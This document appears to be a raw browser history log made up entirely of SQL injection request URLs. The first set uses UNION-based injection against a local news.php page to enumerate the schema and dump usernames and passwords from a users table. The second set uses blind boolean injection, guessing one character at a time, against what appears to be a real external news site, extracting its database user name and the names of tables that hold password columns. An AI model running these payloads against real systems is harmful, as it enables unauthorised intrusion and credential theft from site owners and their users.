http://127.0.0.1/news.php?newsid=221%20union%20select%20username,password%20from%20tblusers
http://127.0.0.1/news.php?newsid=221%20union%20select%201username,password%20from%20tblusers
http://127.0.0.1/news.php?newsid=221%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27tblusers%27
http://127.0.0.1/news.php?newsid=221%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27mysite%27
http://127.0.0.1/news.php?newsid=221%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=%27mysite%27
http://127.0.0.1/news.php?newsid=221%20union%20select%201,database()
http://127.0.0.1/news.php?newsid=221%20union%20select%201,user()
http://127.0.0.1/news.php?newsid=221%20union%20select%201,@@version
http://127.0.0.1/news.php?newsid=221%20union%20select%201,2
http://127.0.0.1/news.php?newsid=1%20union%20select%201,2
http://127.0.0.1/news.php?newsid=1%20order%20by%203
http://127.0.0.1/news.php?newsid=1%20order%20by%202
http://127.0.0.1/news.php?newsid=1%20order%20by%201
http://127.0.0.1/news.php?newsid=1%20and%201=2
http://127.0.0.1/news.php?newsid=1%20and%201=1
http://127.0.0.1/news.php?newsid=1%27
http://127.0.0.1/news.php?newsid=1
http://localhost/phpmyadmin/
http://127.0.0.1/login.php
http://127.0.0.1/test.php
file:///C:/Users/ashiyane/Desktop/1.html
http://127.0.0.1/test.php?n=ali
http://127.0.0.1/test.php?n=milad
http://127.0.0.1/test.php?n=omid
http://127.0.0.1/test.php?name=omid
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27),3,1)))=101--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27),2,1)))=115--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27),1,1)))%3E116--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27),1,1)))%3E117--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27),1,1)))%3E120--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27),1,1)))%3E115--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27),1,1)))%3E110--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27),1,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20len((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27))%3E4--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20len((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27))%3E5--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20len((select%20table_name%20from%20information_schema.columns%20where%20column_name%20like%20%27%25pass%25%27))%3E0--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778
http://fox8tv.com/News/NewsDetails.asp?NewsID=user
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,11,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,10,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,9,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,8,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,7,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,6,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,5,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,4,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,3,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,2,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii((substring(user,1,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,11,1)))%3E97--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,11,1)))%3E98--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,11,1)))%3E100--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,10,1)))%3E100--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,10,1)))%3E99--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,10,1)))%3E98--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,10,1)))%3E107--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,9,1)))%3E107--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,9,1)))%3E108--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,9,1)))%3E105--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,9,1)))%3E110--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,9,1)))%3E113--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,8,1)))%3E113--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,8,1)))%3E112--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,8,1)))%3E100--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,8,1)))%3E105--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,8,1)))%3E110--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,8,1)))%3E114--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,7,1)))%3E114--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,7,1)))%3E113--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,7,1)))%3E112--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,7,1)))%3E115--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,7,1)))%3E110--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,7,1)))%3E105--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,7,1)))%3E100--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,7,1)))%3E99--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,6,1)))%3E99--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,6,1)))%3E98--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,5,1)))%3E98--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,5,1)))%3E97--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,4,1)))%3E97--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,4,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,4,1)))%3E100--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,4,1)))%3E105--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,4,1)))%3E113--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,4,1)))%3E115--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,4,1)))%3E119--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,3,1)))%3E119--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,3,1)))%3E118--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,3,1)))%3E117--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,3,1)))%3E120--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,3,1)))%3E115--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,3,1)))%3E111--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,2,1)))%3E111--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,2,1)))%3E112--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,2,1)))%3E113--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,2,1)))%3E115--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,2,1)))%3E110--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,2,1)))%3E102--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,1,1)))%3E102--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,1,1)))%3E101--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,1,1)))%3E104--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,1,1)))%3E110--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20ascii(lower(substring(user,1,1)))%3E96--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20lower(substring(user,1,1))=%27a%27--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20lower(substring(user,1,1))=%27c%27--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20substring(user,1,1)=%27c%27--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20substring(user,1,1)=%27b%27--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20substring(user,1,1)=%27a%27--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20len(user)=11--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20len(user)%3E11--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20len(user)%3E12--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20len(user)%3E15--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%20len(user)%3E10--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%201=2--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778)and%201=1--
http://fox8tv.com/News/NewsDetails.asp?NewsID=15778%20and%201=1